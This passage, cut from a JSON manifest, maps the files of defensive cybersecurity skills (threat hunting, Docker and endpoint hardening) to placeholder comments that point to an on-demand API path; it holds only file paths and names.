/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-threat-intelligence-reports%2FSKILL.md -->","skills/generating-threat-intelligence-reports/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-threat-intelligence-reports%2Freferences%2Fapi-reference.md -->","skills/hardening-docker-containers-for-production/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-containers-for-production%2FSKILL.md -->","skills/hardening-docker-containers-for-production/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-containers-for-production%2Fassets%2Ftemplate.md -->","skills/hardening-docker-containers-for-production/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-containers-for-production%2Freferences%2Fapi-reference.md -->","skills/hardening-docker-containers-for-production/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-containers-for-production%2Freferences%2Fstandards.md -->","skills/hardening-docker-containers-for-production/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-containers-for-production%2Freferences%2Fworkflows.md -->","skills/hardening-docker-daemon-configuration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-daemon-configuration%2FSKILL.md -->","skills/hardening-docker-daemon-configuration/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-daemon-configuration%2Fassets%2Ftemplate.md -->","skills/hardening-docker-daemon-configuration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-daemon-configuration%2Freferences%2Fapi-reference.md -->","skills/hardening-docker-daemon-configuration/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-daemon-configuration%2Freferences%2Fstandards.md -->","skills/hardening-docker-daemon-configuration/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-daemon-configuration%2Freferences%2Fworkflows.md -->","skills/hardening-linux-endpoint-with-cis-benchmark/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-linux-endpoint-with-cis-benchmark%2FSKILL.md -->","skills/hardening-linux-endpoint-with-cis-benchmark/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-linux-endpoint-with-cis-benchmark%2Fassets%2Ftemplate.md -->","skills/hardening-linux-endpoint-with-cis-benchmark/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-linux-endpoint-with-cis-benchmark%2Freferences%2Fapi-reference.md -->","skills/hardening-linux-endpoint-with-cis-benchmark/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-linux-endpoint-with-cis-benchmark%2Freferences%2Fstandards.md -->","skills/hardening-linux-endpoint-with-cis-benchmark/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-linux-endpoint-with-cis-benchmark%2Freferences%2Fworkflows.md -->","skills/hardening-windows-endpoint-with-cis-benchmark/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-windows-endpoint-with-cis-benchmark%2FSKILL.md -->","skills/hardening-windows-endpoint-with-cis-benchmark/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-windows-endpoint-with-cis-benchmark%2Fassets%2Ftemplate.md -->","skills/hardening-windows-endpoint-with-cis-benchmark/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-windows-endpoint-with-cis-benchmark%2Freferences%2Fapi-reference.md -->","skills/hardening-windows-endpoint-with-cis-benchmark/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-windows-endpoint-with-cis-benchmark%2Freferences%2Fstandards.md -->","skills/hardening-windows-endpoint-with-cis-benchmark/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-windows-endpoint-with-cis-benchmark%2Freferences%2Fworkflows.md -->","skills/hunting-advanced-persistent-threats/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-advanced-persistent-threats%2FSKILL.md -->","skills/hunting-advanced-persistent-threats/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-advanced-persistent-threats%2Freferences%2Fapi-reference.md -->","skills/hunting-bootkits-in-efi-system-partition/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-bootkits-in-efi-system-partition%2FSKILL.md -->","skills/hunting-bootkits-in-efi-system-partition/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-bootkits-in-efi-system-partition%2Freferences%2Fapi-reference.md -->","skills/hunting-bootkits-in-efi-system-partition/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-bootkits-in-efi-system-partition%2Freferences%2Fstandards.md -->","skills/hunting-credential-stuffing-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-credential-stuffing-attacks%2FSKILL.md -->","skills/hunting-credential-stuffing-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-credential-stuffing-attacks%2Freferences%2Fapi-reference.md -->","skills/hunting-evtx-with-chainsaw/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-evtx-with-chainsaw%2FSKILL.md -->","skills/hunting-evtx-with-chainsaw/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-evtx-with-chainsaw%2Freferences%2Fapi-reference.md -->","skills/hunting-evtx-with-chainsaw/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-evtx-with-chainsaw%2Freferences%2Fstandards.md -->","skills/hunting-for-anomalous-powershell-execution/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-anomalous-powershell-execution%2FSKILL.md -->","skills/hunting-for-anomalous-powershell-execution/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-anomalous-powershell-execution%2Freferences%2Fapi-reference.md -->","skills/hunting-for-beaconing-with-frequency-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-beaconing-with-frequency-analysis%2FSKILL.md -->","skills/hunting-for-beaconing-with-frequency-analysis/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-beaconing-with-frequency-analysis%2Fassets%2Ftemplate.md -->","skills/hunting-for-beaconing-with-frequency-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-beaconing-with-frequency-analysis%2Freferences%2Fapi-reference.md -->","skills/hunting-for-beaconing-with-frequency-analysis/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-beaconing-with-frequency-analysis%2Freferences%2Fstandards.md -->","skills/hunting-for-beaconing-with-frequency-analysis/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-beaconing-with-frequency-analysis%2Freferences%2Fworkflows.md -->","skills/hunting-for-cobalt-strike-beacons/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-cobalt-strike-beacons%2FSKILL.md -->","skills/hunting-for-cobalt-strike-beacons/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-cobalt-strike-beacons%2Freferences%2Fapi-reference.md -->","skills/hunting-for-command-and-control-beaconing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-command-and-control-beaconing%2FSKILL.md -->","skills/hunting-for-command-and-control-beaconing/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-command-and-control-beaconing%2Fassets%2Ftemplate.md -->","skills/hunting-for-command-and-control-beaconing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-command-and-control-beaconing%2Freferences%2Fapi-reference.md -->","skills/hunting-for-command-and-control-beaconing/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-command-and-control-beaconing%2Freferences%2Fstandards.md -->","skills/hunting-for-command-and-control-beaconing/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-command-and-control-beaconing%2Freferences%2Fworkflows.md -->","skills/hunting-for-data-exfiltration-indicators/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-exfiltration-indicators%2FSKILL.md -->","skills/hunting-for-data-exfiltration-indicators/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-exfiltration-indicators%2Fassets%2Ftemplate.md -->","skills/hunting-for-data-exfiltration-indicators/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-exfiltration-indicators%2Freferences%2Fapi-reference.md -->","skills/hunting-for-data-exfiltration-indicators/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-exfiltration-indicators%2Freferences%2Fstandards.md -->","skills/hunting-for-data-exfiltration-indicators/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-exfiltration-indicators%2Freferences%2Fworkflows.md -->","skills/hunting-for-data-staging-before-exfiltration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-staging-before-exfiltration%2FSKILL.md -->","skills/hunting-for-data-staging-before-exfiltration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-staging-before-exfiltration%2Freferences%2Fapi-reference.md -->","skills/hunting-for-dcom-lateral-movement/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dcom-lateral-movement%2FSKILL.md -->","skills/hunting-for-dcom-lateral-movement/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dcom-lateral-movement%2Freferences%2Fapi-reference.md -->","skills/hunting-for-dcsync-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dcsync-attacks%2FSKILL.md -->","skills/hunting-for-dcsync-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dcsync-attacks%2Freferences%2Fapi-reference.md -->","skills/hunting-for-defense-evasion-via-timestomping/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-defense-evasion-via-timestomping%2FSKILL.md -->","skills/hunting-for-defense-evasion-via-timestomping/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-defense-evasion-via-timestomping%2Freferences%2Fapi-reference.md -->","skills/hunting-for-dns-based-persistence/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-based-persistence%2FSKILL.md -->","skills/hunting-for-dns-based-persistence/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-based-persistence%2Freferences%2Fapi-reference.md -->","skills/hunting-for-dns-tunneling-with-zeek/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-tunneling-with-zeek%2FSKILL.md -->","skills/hunting-for-dns-tunneling-with-zeek/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-tunneling-with-zeek%2Fassets%2Ftemplate.md -->","skills/hunting-for-dns-tunneling-with-zeek/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-tunneling-with-zeek%2Freferences%2Fapi-reference.md -->","skills/hunting-for-dns-tunneling-with-zeek/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-tunneling-with-zeek%2Freferences%2Fstandards.md -->","skills/hunting-for-dns-tunneling-with-zeek/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-tunneling-with-zeek%2Freferences%2Fworkflows.md -->","skills/hunting-for-domain-fronting-c2-traffic/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-domain-fronting-c2-traffic%2FSKILL.md -->","skills/hunting-for-domain-fronting-c2-traffic/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-domain-fronting-c2-traffic%2Freferences%2Fapi-reference.md -->","skills/hunting-for-lateral-movement-via-wmi/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lateral-movement-via-wmi%2FSKILL.md -->","skills/hunting-for-lateral-movement-via-wmi/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lateral-movement-via-wmi%2Freferences%2Fapi-reference.md -->","skills/hunting-for-living-off-the-cloud-techniques/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-cloud-techniques%2FSKILL.md -->","skills/hunting-for-living-off-the-cloud-techniques/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-cloud-techniques%2Fassets%2Ftemplate.md -->","skills/hunting-for-living-off-the-cloud-techniques/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-cloud-techniques%2Freferences%2Fapi-reference.md -->","skills/hunting-for-living-off-the-cloud-techniques/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-cloud-techniques%2Freferences%2Fstandards.md -->","skills/hunting-for-living-off-the-cloud-techniques/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-cloud-techniques%2Freferences%2Fworkflows.md -->","skills/hunting-for-living-off-the-land-binaries/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-land-binaries%2FSKILL.md -->","skills/hunting-for-living-off-the-land-binaries/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-land-binaries%2Fassets%2Ftemplate.md -->","skills/hunting-for-living-off-the-land-binaries/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-land-binaries%2Freferences%2Fapi-reference.md -->","skills/hunting-for-living-off-the-land-binaries/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-land-binaries%2Freferences%2Fstandards.md -->","skills/hunting-for-living-off-the-land-binaries/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-land-binaries%2Freferences%2Fworkflows.md -->","skills/hunting-for-lolbins-execution-in-endpoint-logs/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lolbins-execution-in-endpoint-logs%2FSKILL.md -->","skills/hunting-for-lolbins-execution-in-endpoint-logs/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lolbins-execution-in-endpoint-logs%2Fassets%2Ftemplate.md -->","skills/hunting-for-lolbins-execution-in-endpoint-logs/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lolbins-execution-in-endpoint-logs%2Freferences%2Fapi-reference.md -->","skills/hunting-for-lolbins-execution-in-endpoint-logs/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lolbins-execution-in-endpoint-logs%2Freferences%2Fstandards.md -->","skills/hunting-for-lolbins-execution-in-endpoint-logs/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lolbins-execution-in-endpoint-logs%2Freferences%2Fworkflows.md -->","skills/hunting-for-ntlm-relay-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-ntlm-relay-attacks%2FSKILL.md -->","skills/hunting-for-ntlm-relay-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-ntlm-relay-attacks%2Freferences%2Fapi-reference.md -->","skills/hunting-for-persistence-mechanisms-in-windows/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-mechanisms-in-windows%2FSKILL.md -->","skills/hunting-for-persistence-mechanisms-in-windows/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-mechanisms-in-windows%2Fassets%2Ftemplate.md -->","skills/hunting-for-persistence-mechanisms-in-windows/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-mechanisms-in-windows%2Freferences%2Fapi-reference.md -->","skills/hunting-for-persistence-mechanisms-in-windows/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-mechanisms-in-windows%2Freferences%2Fstandards.md -->","skills/hunting-for-persistence-mechanisms-in-windows/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-mechanisms-in-windows%2Freferences%2Fworkflows.md -->","skills/hunting-for-persistence-via-wmi-subscriptions/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-via-wmi-subscriptions%2FSKILL.md -->","skills/hunting-for-persistence-via-wmi-subscriptions/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-via-wmi-subscriptions%2Fassets%2Ftemplate.md -->","skills/hunting-for-persistence-via-wmi-subscriptions/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-via-wmi-subscriptions%2Freferences%2Fapi-reference.md -->","skills/hunting-for-persistence-via-wmi-subscriptions/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-via-wmi-subscriptions%2Freferences%2Fstandards.md -->","skills/hunting-for-persistence-via-wmi-subscriptions/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-via-wmi-subscriptions%2Freferences%2Fworkflows.md -->","skills/hunting-for-process-injection-techniques/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-process-injection-techniques%2FSKILL.md -->","skills/hunting-for-process-injection-techniques/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-process-injection-techniques%2Freferences%2Fapi-reference.md -->","skills/hunting-for-registry-persistence-mechanisms/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-persistence-mechanisms%2FSKILL.md -->","skills/hunting-for-registry-persistence-mechanisms/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-persistence-mechanisms%2Fassets%2Ftemplate.md -->","skills/hunting-for-registry-persistence-mechanisms/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-persistence-mechanisms%2Freferences%2Fapi-reference.md -->","skills/hunting-for-registry-persistence-mechanisms/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-persistence-mechanisms%2Freferences%2Fstandards.md -->","skills/hunting-for-registry-persistence-mechanisms/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-persistence-mechanisms%2Freferences%2Fworkflows.md -->","skills/hunting-for-registry-run-key-persistence/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-run-key-persistence%2FSKILL.md -->","skills/hunting-for-registry-run-key-persistence/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-run-key-persistence%2Freferences%2Fapi-reference.md -->","skills/hunting-for-scheduled-task-persistence/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-scheduled-task-persistence%2FSKILL.md -->","skills/hunting-for-scheduled-task-persistence/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-scheduled-task-persistence%2Fassets%2Ftemplate.md -->","skills/hunting-for-scheduled-task-persistence/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-scheduled-task-persistence%2Freferences%2Fapi-reference.md -->","skills/hunting-for-scheduled-task-persistence/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-scheduled-task-persistence%2Freferences%2Fstandards.md -->","skills/hunting-for-scheduled-task-persistence/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-scheduled-task-persistence%2Freferences%2Fworkflows.md -->","skills/hunting-for-shadow-copy-deletion/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-shadow-copy-deletion%2FSKILL.md -->","skills/hunting-for-shadow-copy-deletion/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-shadow-copy-deletion%2Fassets%2Ftemplate.md -->","skills/hunting-for-shadow-copy-deletion/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-shadow-copy-deletion%2Freferences%2Fapi-reference.md -->","skills/hunting-for-shadow-copy-deletion/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-shadow-copy-deletion%2Freferences%2Fstandards.md -->","skills/hunting-for-shadow-copy-deletion/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-shadow-copy-deletion%2Freferences%2Fworkflows.md -->","skills/hunting-for-spearphishing-indicators/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-spearphishing-indicators%2FSKILL.md -->","skills/hunting-for-spearphishing-indicators/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-spearphishing-indicators%2Fassets%2Ftemplate.md -->","skills/hunting-for-spearphishing-indicators/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-spearphishing-indicators%2Freferences%2Fapi-reference.md -->","skills/hunting-for-spearphishing-indicators/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-spearphishing-indicators%2Freferences%2Fstandards.md -->","skills/hunting-for-spearphishing-indicators/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-spearphishing-indicators%2Freferences%2Fworkflows.md -->","skills/hunting-for-startup-folder-persistence/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-startup-folder-persistence%2FSKILL.md -->","skills/hunting-for-startup-folder-persistence/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-startup-folder-persistence%2Freferences%2Fapi-reference.md -->","skills/hunting-for-supply-chain-compromise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-supply-chain-compromise%2FSKILL.md -->","skills/hunting-for-supply-chain-compromise/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-supply-chain-compromise%2Fassets%2Ftemplate.md -->","skills/hunting-for-supply-chain-compromise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-supply-chain-compromise%2Freferences%2Fapi-reference.md -->","skills/hunting-for-supply-chain-compromise/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-supply-chain-compromise%2Freferences%2Fstandards.md -->","skills/hunting-for-supply-chain-compromise/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-supply-chain-compromise%2Freferences%2Fworkflows.md -->","skills/hunting-for-suspicious-scheduled-tasks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-suspicious-scheduled-tasks%2FSKILL.md -->","skills/hunting-for-suspicious-scheduled-tasks/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-suspicious-scheduled-tasks%2Fassets%2Ftemplate.md -->","skills/hunting-for-suspicious-scheduled-tasks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-suspicious-scheduled-tasks%2Freferences%2Fapi-reference.md 